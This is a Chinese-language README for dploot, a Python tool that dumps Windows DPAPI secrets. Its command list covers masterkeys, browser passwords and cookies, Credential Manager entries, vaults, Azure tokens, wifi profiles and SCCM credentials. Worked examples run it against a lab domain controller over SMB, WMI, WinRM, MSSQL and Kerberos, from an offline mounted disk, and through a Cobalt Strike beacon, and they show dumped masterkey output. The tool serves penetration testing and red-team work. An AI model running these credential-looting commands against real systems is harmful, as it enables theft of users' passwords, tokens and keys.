dploot 是 SharpDPAPI 的 Python 重写版本,后者由 Harmj0y 用 C# 编写,而 SharpDPAPI 本身又是 gentilkiwi 所开发的 Mimikatz 中 DPAPI 功能的移植。它实现了这些工具的全部 DPAPI 逻辑,但这次可以在 Python 解释器中以及 Linux 环境下使用。
如果你不了解什么是 DPAPI,请查看这篇文章。
你可以使用 pipx 直接从 PyPI 安装 dploot:
pipx install git+https://github.com/zblurx/dploot.git
或
pipx install dploot
在 Kali Linux 上,你可以从软件仓库安装 dploot:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+ 支持多种网络协议用于远程访问。您可以使用 --protocol <protocol_name> 选择协议。每种协议具有不同的能力和要求:
使用 WMI 协议的示例:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
使用本地协议(离线文件系统)的示例:
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
关于命令支持的重要说明:
backupkey 仅适用于 SMB 协议(需要域控制器访问权限)。--dpapi-system-key 自行提供。dploot 可以通过 Kerberos 对 smb、wmi 和 mssql 协议进行身份验证。使用 -k 启用 Kerberos 并回退到 NTLM。如果你想使用缓存的票据,请使用 --use-kcache。要使用 AES 密钥,请使用 --aesKey。
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
dploot 的目标是简化从 Linux 主机上进行的 DPAPI 相关窃取。你如何使用此工具取决于你的访问级别和目标配置。
默认协议是 SMB。这是 DPAPI 窃取最常见的方式,并且适用于标准的 Windows 文件共享:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
WMI 为远程访问提供了 SMB 之外的替代方案,在 SMB 受到限制时非常有用:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
WinRM 可作为替代协议使用:
$ dploot masterkeys --protocol winrm -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 5985
如果目标具有 MSSQL 且凭据可访问,你可以使用 MSSQL 协议:
$ dploot masterkeys --protocol mssql -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 1433 --db-auth
访问 DPAPI 机密的另一种方式是通过直接文件系统访问,例如通过物理访问、提取驱动器并将文件系统挂载到分析机器上。要使用此模式,请指定 --protocol local。默认情况下,目标文件系统预期位于当前目录中,但你可以使用 --root 指定不同的路径:
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
[*] Reading /mnt/c_drive
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
--root 目录应包含与目标系统结构相匹配的 Windows 和 Users 子目录。
如果你部署了带有 REST API 的 Cobalt Strike,你可以通过它执行 dploot 操作:
默认情况下,dploot 会通过下拉选择让你选择一个 beacon。你也可以通过备注来选择 beacon:
$ dploot masterkeys --protocol cobaltstrike --rest-url https://127.0.0.1:50443 --cs-username admin --cs-password password --beacon-note "my-target"